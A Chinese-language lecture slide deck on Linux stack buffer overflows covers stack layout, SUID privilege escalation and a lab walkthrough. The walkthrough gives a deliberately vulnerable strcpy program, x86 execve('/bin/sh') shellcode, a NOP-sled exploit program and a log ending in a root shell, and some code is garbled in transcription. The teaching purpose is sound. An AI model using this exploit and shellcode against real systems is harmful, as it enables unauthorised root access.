linux 下的缓冲区溢出 裴士辉 QQ:1628159305
Buffer Overflows 缓冲区溢出攻击 基本的思想通过修改某些内存区域, 把一段恶意代码存储到一个 buffer 中, 并且使这个 buffer 被溢出, 以便当前进程被非法利用 ( 执行这段恶意的代码 ) 2
危害性 在 UNIX 平台上, 通过发掘 Buffer Overflow, 可以获得一个交互式的 shell 在 Windows 平台上, 可以上载并执行任何的代码 溢出漏洞发掘起来需要较高的技巧和知识背景, 但是, 一旦有人编写出溢出代码, 则用起来非常简单 与其他的攻击类型相比, 缓冲区溢出攻击不需要太多的先决条件 杀伤力很强 技术性强 在 Buffer Overflows 攻击面前, 防火墙往往显得很无奈 3
Buffer Overflow 的历史 1988 年的 Morris 蠕虫病毒, 放倒了 6000 多台机器 : 利用 UNIX 服务 finger 中的缓冲区溢出漏洞来获得访问权限, 得到一个 shell 1996 年前后, 开始出现大量的 Buffer Overflow 攻击, 因此引起人们的广泛关注 源码开放的操作系统首当其冲 随后,Windows 系统下的 Buffer Overflows 也相继被发掘出来 4
为什么会缓冲区溢出? 在 C 语言中, 指针和数组越界不保护是 Buffer overflow 的根源, 而且, 在 C 语言标准库中就有许多能提供溢出的函数, 如 strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets() 和 scanf() 5
#include <stdio.h> #include <string.h> #define BUFLEN 200 int main(){ char * rtn; char dmy[buflen];char buf[buflen]; memset(buf,'\0',buflen);memset(dmy,'\0',buflen); printf("before \n"); printf("buf(len:%d)=%s \n",strlen(buf),buf); printf("dmy(len:%d)=%s \n",strlen(dmy),dmy); if((rtn=gets(buf))==null){return(-1);} printf("after \n"); printf("buf(len:%d)=%s \n",strlen(buf),buf); printf("dmy(len:%d)=%s \n",strlen(dmy),dmy); return(0); } 6
before buf(len:0)= dmy(len:0)= aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee overflow test data after buf(len:218)= aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee overflow test data dmy(len:18)=overflow test data 7
缓冲区攻击的原理 1. 函数调用与堆栈的关系 2. 利用堆栈溢出运行 shell 8
函数调用与堆栈的关系 在一次函数调用中, 堆栈中被依次压入参数和返回地址 如果函数有局部变量, 则局部变量在堆栈中分配 函数结束时, 恢复堆栈到函数调用的地址, 弹出返回地址到 EIP 以继续执行程序 9
函数调用与堆栈的关系 例如 : 调用如下函数时堆栈的使用情况 int main(int argc, char ** argv){ } char buf[80]; strcpy(buf,argv[1]); 10
1 调用之前 ESP 11
2 参数 EIP 压栈 ESP EIP argc argv 12
3 寄存器压栈, 分配局部变量 ESP EIP argc argv 13
4 释放局部变量 寄存器出栈 ESP EIP argc argv 14
5 返回 ESP EIP argc argv 15
利用堆栈溢出运行 shell 前提是发现具有 SUID 程序具有缓冲区溢出漏洞 Linux 上执行一个程序 ( 具有 x 权限 ),程序的权限以执行者的 ID 为准, 如果执行者是 root,那么程序的权限是 root ;如果执行者是 user1,那么程序以 user1 的权限 但是,一个具有 SUID 属性的程序的权限以所有者的权限为准, 例如 : 如果一各程序具有 SUID 属性, 它的 user 和 group 都是 root,而且 others 也具有 x 权限,那么,当 user1 执行这个程序时,程序具有的权限不是 user1 而是 root! 获得 shell code 执行目标程序时, 将 shell code 拷贝到目标程序的堆栈中 16
进入 shell 的程序代码 shell code 目标程序的 SUID 属性已被设置, 不管哪个用户运行这个程序, 进入程序后就具有 root 权限 当发生堆栈溢出, 执行 shell code, 并进入 shell 时, 就获得 root shell, 在该 shell 中可以执行所有的 root 命令 17
linux 系统下的缓冲区溢出攻击实验 1. 编写具有缓冲区溢出漏洞的程序 2. 获得 shell code 3. 编写测试缓冲区溢出的程序 18
编写具有缓冲区溢出漏洞的程序 vulnerable1.c #include<string.h> #include<ctype.h> int main(int argc,int **argv){ char buffer[1024]; int i; if(argc>1) { for(i=0;i<strlen(argv[1]);i++) argv[1][i]=toupper(argv[1][i]); } } strcpy(buffer,argv[1]); 19
1. 编写 C 程序 2. gcc 编译 3. gdb 反汇编 4. 对机械码进行整理 获得 shell code 20
编写 C 程序 shellcode.c #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); exit(0); } 21
char shellcode[]= /*00*/ "\xeb\x1f" /* jmp 0x1f */ /*02*/ "\x5e" /* popl %esi */ /*03*/ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ /*06*/ "\x31\xc0" /* xorl %eax,%eax */ /*08*/ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ /*0b*/ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /*0e*/ "\xb0\x0b" /* movb $0xb,%al */ /*10*/ "\x89\xf3" /* movl %esi,%ebx */ /*12*/ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ /*15*/ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ /*18*/ "\xcd\x80" /* int $0x80 */ /*1a*/ "\x31\xdb" /* xorl %ebx,%ebx */ /*1c*/ "\x89\xd8" /* movl %ebx,%eax */ /*1e*/ "\x40" /* inc %eax */ /*1f*/ "\xcd\x80" /* int $0x80 */ /*21*/ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ /*26*/ "/bin/sh"; /*.string \"/bin/sh\" */ 22
利用堆栈溢出获得 shell 要利用目标程序 vulnerable1.c 的堆栈溢出漏洞获得 shell, 首先要利用一个数组来存放 shellcode, 将 shellcode 作为参数传给目标程序, 目标程序在调用 strcpy 时把 shellcode 拷贝到堆栈中 同时, 在传递 shellcode 时, 还必须传递指向 shellcode 的地址, 用指向 shellcode 的地址来覆盖堆栈中函数的返回地址 23
利用堆栈溢出获得 shell 传给目标程序的参数可以表示为 : SSSSSSSSSSSOOOOOOOAOOOOOOO 其中 : S: shellcode A: shellcode 在内存中的首地址 O: 空 这里的关键在于 A 将覆盖堆栈中 EIP 的内容 24
利用堆栈溢出获得 shell 为了提供命中率, 对字符串进行如下改进 : NNNNNNNNNNNNNNSSSSSSSSSSSAAAAAAAAAAAAAAAAA 其中 : S: shellcode A: shellcode 在内存中的首地址 N: NOP 指令, 机器码为 0x90 A 的取值范围只要在 N 段即可, 大大地提高了猜中的命中率 25
测试缓冲区溢出的程序 exploit1.c #include<stdio.h> #include<stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]=.. 26
unsigned long get_sp(void){ asm ("movl %esp,%eax"); } main(int argc,char **argv) { char buff[ret_position+range+align+1],*ptr; long addr; unsigned long sp; int offset=offset; bsize=ret_position+range+align+1; int i; 27
if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+align]=(addr&0x000000ff); buff[i+align+1]=(addr&0x0000ff00)>>8; buff[i+align+2]=(addr&0x00ff0000)>>16; buff[i+align+3]=(addr&0xff000000)>>24; } 28
for(i=0;i<bsize-range*2-strlen(shellcode)-1;i++) buff[i]=nop; ptr=buff+bsize-range*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; printf("jump to 0x%08x\n",addr); } execl("./vulnerable1","vulnerable1",buff,0); 29
[ ohhara@ohhara ~ ] {1} $ ls -l vulnerable1 -rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1* [ ohhara@ohhara ~ ] {2} $ ls -l exploit1 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1* [ ohhara@ohhara ~ ] {3} $./exploit1 Jump to 0xbfffec64 Segmentation fault [ ohhara@ohhara ~ ] {4} $./exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# 30